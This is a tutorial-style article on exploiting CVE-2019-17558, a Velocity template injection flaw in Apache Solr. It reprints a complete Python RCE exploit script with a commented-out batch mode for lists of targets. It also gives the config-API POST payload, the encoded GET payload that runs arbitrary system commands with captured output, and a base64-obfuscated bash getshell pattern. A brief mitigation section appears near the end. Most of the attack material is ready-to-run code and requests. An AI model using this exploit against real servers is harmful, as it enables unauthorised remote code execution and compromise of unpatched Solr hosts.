How to Exploit the CVE-2019-17558 Vulnerability in Apache Solr

In the landscape of cybersecurity, understanding and staying ahead of potential threats is crucial.

One such threat, identified as CVE-2019-17558, affects the Apache Solr platform – a popular open-source search platform built on Apache Lucene.

However, even this highly-regarded software wasn’t immune to vulnerabilities.

In 2019, a particularly concerning vulnerability, CVE-2019-17558, was discovered, which posed a significant risk to any unprotected Solr server.

This article delves into the details of this vulnerability, how it could be exploited, and the potential consequences.

Understanding the CVE-2019-17558 Vulnerability in Apache Solr

Apache Solr, a robust open-source enterprise search platform, offers a myriad of functionalities. These include full-text search, hit highlighting, faceted search, dynamic clustering, and rich document handling.

However, like many complex systems, it isn’t immune to potential security vulnerabilities. In October 2019, a vulnerability identified as CVE-2019-17558 was discovered in Apache Solr.

This vulnerability could be exploited through template injection, allowing an attacker to execute arbitrary commands on an unprotected Solr server if the params.resource.loader.enabled setting was enabled.

Apache Velocity is a powerful Java-based template engine that allows for the easy creation of web pages, SQL, PostScript and other types of formatted text output.

However, certain versions of Apache Solr, a popular open-source search platform, had a vulnerability in the way they handled these templates. This flaw could potentially allow an attacker to modify the contents of a Velocity template and execute arbitrary Java code or system commands

Technical Details

This particular vulnerability was present in versions 5.0.0 through 8.3.1 of Apache Solr and could lead to Remote Code Execution (RCE) via the VelocityResponseWriter mechanism.

This issue arises when a malicious Velocity template is introduced into the system, either through a configset velocity/ directory or as an input parameter.

A configset, defined by the user, has the potential to hold renderable templates that could be harmful.

While templates provided through parameters are disabled by default, they can be enabled by adjusting the params.resource.loader.enabled setting.

To do this, one needs to define a response writer with that particular setting set to ‘true’. It’s important to note that access to the configuration API is necessary to define a response writer.

Harnessing the Power of solr_rce.py for Apache Solr RCE

The solr_rce.py Python script can be found on a GitHub repository.

This script aids in the execution of Remote Code Execution (RCE) in Apache Solr through a Velocity template:

#coding=utf-8

import requests
import sys
import json

banner = '''


                            _             _____       _        _____   _____ ______ 
     /\                    | |           / ____|     | |      |  __ \ / ____|  ____|
    /  \   _ __   __ _  ___| |__   ___  | (___   ___ | |_ __  | |__) | |    | |__   
   / /\ \ | '_ \ / _` |/ __| '_ \ / _ \  \___ \ / _ \| | '__| |  _  /| |    |  __|  
  / ____ \| |_) | (_| | (__| | | |  __/  ____) | (_) | | |    | | \ \| |____| |____ 
 /_/    \_\ .__/ \__,_|\___|_| |_|\___| |_____/ \___/|_|_|    |_|  \_\\_____|______|
          | |                                                                       
          |_|                                                                       

                   Apache Solr Velocity模板远程代码执行

                         2019-10-30  17:30

                         python By Jas502n



>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
'''
print banner

def get_code_name(url):
    if url[-1] == '/':
        url = url[:-1].split('\n')[0]
    else:
        url = url.split('\n')[0]
        
    core_url = url + '/solr/admin/cores?indexInfo=false&wt=json'
    print '[+] Querying Core Name: '+core_url,'\n'
    proxies = {"http":"http://127.0.0.1:8080"}
    try:
        # r = requests.get(core_url,proxies=proxies)
        r = requests.get(core_url)
        if r.status_code == 200 and 'responseHeader' in r.content and 'status' in r.content:
            json_str = json.loads(r.content)
            for i in json_str['status']:
                core_name_url = url + '/solr/' + i + '/config'
                print core_name_url
                update_queryresponsewriter(core_name_url)
        else:
            print "No core name exit!"
    except:
        pass
def update_queryresponsewriter(core_name_url):
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Content-Length': '259',
    'Connection': 'close'
    }
    payload = '''
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }'''
    proxies = {"http":"http://127.0.0.1:8080"}
    r = requests.post(core_name_url,headers=headers,data=payload)
    # r = requests.post(core_name_url,headers=headers,data=payload,proxies=proxies)
    if r.status_code == 200 and 'responseHeader' in r.content:
        print "[+] maybe enable Successful!"
        exp_url = core_name_url[:-7]
        cmd = 'whoami'
        cmd = sys.argv[2]

        send_exp(exp_url,cmd)
    else:
        print "[+] Enable Fail!\n"
def send_exp(exp_url,cmd):
    exp_url = exp_url + r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + r"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    proxies = {"http":"http://127.0.0.1:8080"}
    r = requests.get(exp_url)
    # r = requests.get(exp_url,proxies=proxies)
    if r.status_code == 400 or r.status_code == 500  or r.status_code ==200 and len(r.content) >0:
        print ">>> [+] Exp Send Successful! <<<"
        print "____________________________________________________________"
        print '\n',exp_url,'\n'
        print '>>>>>>>\n',r.content
    else:
        print "[+] EXP No Send Successful!\n"
if __name__ == '__main__':
    if len(sys.argv) != 3:
        sys.exit("\n [+] Usage:  python %s http://x.x.x.x:8983  command\n" % sys.argv[0])
    else:
        # url = "http://192.168.5.86:8983"
        url = sys.argv[1]
        get_code_name(url)
    
        # 批量
        # f = open('url.txt','rb')
        # for i in f.readlines():
        #     url = i.split('\r\n')[0]
        #     get_code_name(url)

    
    

This script is instrumental in simplifying and streamlining the process of command execution.

To use this script, the following command is executed:

python solr_rce.py http://x.x.x.x:8983 command

This allows for targeted manipulation within the Apache Solr environment.

However, it’s crucial to note that this information and tool should be utilized responsibly and ethically, primarily for educational or legitimate system administration purposes.

Misuse can lead to harmful outcomes and potential legal implications.

Understanding the Intricacies of “getshell encode payload”

The command you’ve provided exemplifies this – it’s a shell command encoded in base64. This technique is frequently used to obfuscate commands, rendering them less visible to casual observers or automated scanning tools.

Take, for instance, the command whoami. This is a standard Unix/Linux command that displays the username of the current user executing the command. Here, it’s used to confirm the identity of the user operating the shell.

The more complex command, bash -c {echo,d2hvYW1p}|{base64,-d}|{bash,-i}, is a bash command that echoes a base64 encoded string (d2hvYW1p, which translates to whoami), decodes it (base64,-d), and then runs the resulting command in a new bash shell (bash,-i). The {...} syntax is known as brace expansion, a feature of bash that enables the generation of arbitrary strings.

So, the entire command executes whoami in a new bash shell, effectively revealing the current user. It’s important to note that such a command can be used in both benign and malicious contexts.

In a benign context, it might simply be employed to automate tasks in a complex system environment.

However, in a malicious context, it could be part of an exploit payload aimed at gaining unauthorized access or escalating privileges on a compromised system.

Setting Up a Vulnerable Environment

To understand this vulnerability, it’s essential to create a controlled environment where it can be replicated. This should be done solely for testing and learning purposes.

  1. Download and Install Apache Solr: Download and install Apache Solr version 7.7.2 from the official Apache website or a trusted mirror site.
  2. Enable the Vulnerable Setting: Navigate to the solrconfig.xml file located in /opt/solr-7.7.2/example/example-DIH/solr/atom/conf/ and enable the velocity.solr.resource.loader.enabled setting by setting it to ‘true’.
  3. Start the Solr Server: Start the Solr server with the DIH example by executing ./solr -e dih -force in the command line.
  4. Access Solr via a Web Browser: Open a web browser and navigate to http://localhost:8983/solr to access the Solr admin UI.
{
  "responseHeader": {
    "status": 0,
    "QTime": 3
  },
  "initFailures": {},
  "status": {
    "atom": {
      "name": "atom",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:08.216Z",
      "uptime": 107753
    },
    "db": {
      "name": "db",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/db",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/db/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:09.224Z",
      "uptime": 106745
    },
    "mail": {
      "name": "mail",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:06.695Z",
      "uptime": 109273
    },
    "solr": {
      "name": "solr",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:06.702Z",
      "uptime": 109267
    },
    "tika": {
      "name": "tika",
      "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika",
      "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika/data/",
      "config": "solrconfig.xml",
      "schema": "managed-schema",
      "startTime": "2019-11-01T07:47:03.493Z",
      "uptime": 112475
    }
  }
}

With the vulnerable environment set up, you can observe the vulnerability in action.

When accessing the website, you can discover an interface that allows you to retrieve all core name’s names. This facilitates subsequent traversal of core names, string concatenation, and vulnerability detection.

By understanding this vulnerability and how it can be exploited, we underline the importance of regular updates, patches, and rigorous cybersecurity practices.

Enabling params.resource.loader.enabled in Apache Solr

In the context of Apache Solr, the params.resource.loader.enabled setting is critical. By default, this setting is disabled (set to ‘false’). However, when enabled, it can expose a vulnerability that allows for Remote Code Execution (RCE) via the VelocityResponseWriter mechanism.

To exploit this vulnerability, an attacker would need to modify the configuration file in the atom directory and attack the interface with a configuration defect.

For example, consider the following URL:

http://localhost:8983/solr/atom/config

An HTTP POST request can be made to this URL with a JSON payload that updates the query response writer settings.

Clearly, you should substitute the term ‘localhost’ with the specific IP address you intend to conduct penetration testing on.

The payload would include enabling the solr.resource.loader.enabled and params.resource.loader.enabled settings.

Here’s an example of what the payload might look like:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

Upon sending the request, if the server is vulnerable, it will respond with a status of ‘0’ and a QTime value. Please note that the response format is experimental and subject to change in future Solr versions.

This method demonstrates how the params.resource.loader.enabled setting can be exploited in Apache Solr, emphasizing the importance of keeping such settings disabled unless necessary and ensuring rigorous cybersecurity practices to protect against potential threats.

Enabling and Directly Accessing via GET Request for Remote Code Execution

http://localhost:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

ssit

http://localhost:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Note that the status code is 400, not 200. A 500 status might indicate an error exception. This can be helpful for subsequent script writing to identify vulnerabilities.

Breaking Down the HTTP Request for Solr Instance Configuration Modification

The given HTTP request is a configuration change for a Solr instance. In this case, it’s modifying the settings of a query response writer named ‘velocity’.

Request:
========================================================================
POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
========================================================================

Let’s break it down:

  1. Target: The target of this request is the ‘/solr/test/config’ endpoint on the host ‘solr:8983’. This endpoint allows you to change the configuration of a specific Solr instance.
  2. Method: The method used is POST, which is typically used to send data to a server to create or update a resource.
  3. Headers: The headers specify that the Content-Type is application/json, indicating that the body of the request will be in JSON format.
  4. Body: The body of the request is a JSON object with a single property: ‘update-queryresponsewriter’. This property is another object with several properties:
    • ‘startup’: Set to ‘lazy’, this might mean that the response writer is only initialized when it’s first needed.
    • ‘name’: The name of the response writer to be updated is ‘velocity’.
    • ‘class’: The class of the response writer is ‘solr.VelocityResponseWriter’. This is likely the Java class that implements the functionality of the response writer.
    • ‘template.base.dir’: This property is set to an empty string, which might mean that there’s no base directory set for templates.
    • ‘solr.resource.loader.enabled’: This is set to ‘true’, enabling the Solr resource loader.
    • ‘params.resource.loader.enabled’: This is also set to ‘true’, enabling the parameters resource loader.

By setting the ‘params.resource.loader.enabled’ and ‘solr.resource.loader.enabled’ to true, you’re allowing the VelocityResponseWriter to use resources (like templates) from Solr itself or from specified parameters.

Remember, any changes made through this endpoint will only affect the Solr instance you’re targeting with the ‘/solr/test/config’ endpoint.

Always be careful when making configuration changes as they can have a significant impact on the function and security of your Solr instance.

Remote Code Execution through Velocity Template

Request:
========================================================================
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
========================================================================


Response:
========================================================================
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 56

     0  uid=8983(solr) gid=8983(solr) groups=8983(solr)
========================================================================

Mitigating the Risk

With the release of Solr 8.4, this risk was mitigated. The params.resource.loader was completely removed, and template rendering provided by the configset was only enabled when the configset was deemed trusted. This means that the configset had to be uploaded by a user with authentication.

To mitigate this risk, it was recommended to upgrade to a patched version of Solr and to enable the Velocity SecureUberspector. The SecureUberspector prevents access to dangerous classes and packages by checking if any methods are invoked on blocked classes.

However, as a best practice, it’s always important to monitor and restrict who can modify the contents of Velocity templates to prevent such vulnerabilities in the first place.

The Importance of Cybersecurity Practices and Regular Updates

The CVE-2019-17558 vulnerability underscores the importance of vigilant cybersecurity practices. It also highlights the need for regular updates and patches – as demonstrated by the remedial changes implemented in Solr 8.4.

While this vulnerability was significant, the rapid response and solution provided by the Apache Solr team exemplify their commitment to the security of their users.

The world of cybersecurity is constantly evolving, and staying informed about potential vulnerabilities, such as CVE-2019-17558, is key to maintaining the integrity of our digital environments.

Conclusion

The discovery of the CVE-2019-17558 vulnerability in Apache Solr underscores the importance of ongoing vigilance in software security.

This vulnerability was exploited by sending a specially crafted Solr request with a malicious Velocity template parameter.

Once the request is processed by Solr, the malicious code in the template gets executed, leading to remote code execution (RCE). This could compromise the security of the entire system where Solr is running.

Even widely trusted and robust systems like Solr are not immune to potential breaches.

Hackers are continually seeking new avenues to exploit, and software vulnerabilities provide just such an opportunity.

Therefore, it’s crucial to keep software systems updated with the latest patches and security fixes.